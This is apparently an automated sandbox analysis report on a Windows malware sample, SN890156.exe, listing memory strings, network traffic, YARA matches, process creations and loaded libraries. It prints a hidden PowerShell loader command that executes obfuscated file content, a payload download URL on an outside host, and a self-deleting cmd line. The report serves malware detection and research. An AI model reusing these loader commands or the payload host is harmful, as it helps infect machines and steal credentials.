Source: powershell.exe, 00000002.00000002.2492719646.00000000053E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000002.00000002.2492719646.0000000005537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
Source: powershell.exe, 00000002.00000002.2492719646.00000000053E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBcq
Source: powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2492719646.0000000005537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf0YP
Source: wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: wab.exe, 00000005.00000002.2666360366.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033N/=
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.sr
Source: wab.exe, 00000005.00000002.2666360366.0000000007D18000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfdn
Source: powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wab.exe, 00000005.00000002.2666360366.0000000007D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://portal.expertmotorservices.mv/
Source: wab.exe, 00000005.00000002.2666360366.0000000007D18000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000005.00000002.2676576030.0000000022DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://portal.expertmotorservices.mv/BVXLyakFdBSowAQOYfOVPi201.bin
Source: wab.exe, 00000005.00000002.2666360366.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://portal.expertmotorservices.mv/BVXLyakFdBSowAQOYfOVPi201.bin9
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709

Source: unknown

HTTPS traffic detected: 27.114.150.50:443 -> 192.168.2.5:49709 version: TLS 1.2

Source: C:\Users\user\Desktop\SN890156.exe

Code function: 0_2_004052BD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052BD

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.wab.exe.2482b0d2.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 5.2.wab.exe.247bf981.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 5.2.wab.exe.2479d994.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\SN890156.exe

Jump to dropped file

Source: C:\Users\user\Desktop\SN890156.exe

Code function: 0_2_0040326A EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040326A

Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_004066E3	0_2_004066E3
Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_00404AFA	0_2_00404AFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0522EAD8	2_2_0522EAD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0522F3A8	2_2_0522F3A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0522E790	2_2_0522E790
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07D5C956	2_2_07D5C956

Source: SN890156.exe

Static PE information: invalid certificate

Source: api-ms-win-core-synch-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found

Source: SN890156.exe, 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamehalveringer jordnr.exe^ vs SN890156.exe

Source: SN890156.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 5.2.wab.exe.2482b0d2.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 5.2.wab.exe.247bf981.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 5.2.wab.exe.2479d994.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@11/59@2/2

Source: C:\Users\user\Desktop\SN890156.exe

0_2_0040326A

Source: C:\Users\user\Desktop\SN890156.exe

Code function: 0_2_0040457E GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040457E

Source: C:\Users\user\Desktop\SN890156.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\SN890156.exe

File created: C:\Users\user\AppData\Roaming\Palaeodictyopteron

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3876:120:WilError_03
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7566F0FB-040B59B9-F254BC0F
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6572:120:WilError_03

Source: C:\Users\user\Desktop\SN890156.exe

File created: C:\Users\user\AppData\Local\Temp\nshCA9F.tmp

Jump to behavior

Source: SN890156.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Users\user\Desktop\SN890156.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SN890156.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: wab.exe, 00000005.00000003.2624231472.0000000007DCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SN890156.exe

ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\SN890156.exe

File read: C:\Users\user\Desktop\SN890156.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SN890156.exe "C:\Users\user\Desktop\SN890156.exe"
Source: C:\Users\user\Desktop\SN890156.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\SN890156.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SN890156.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
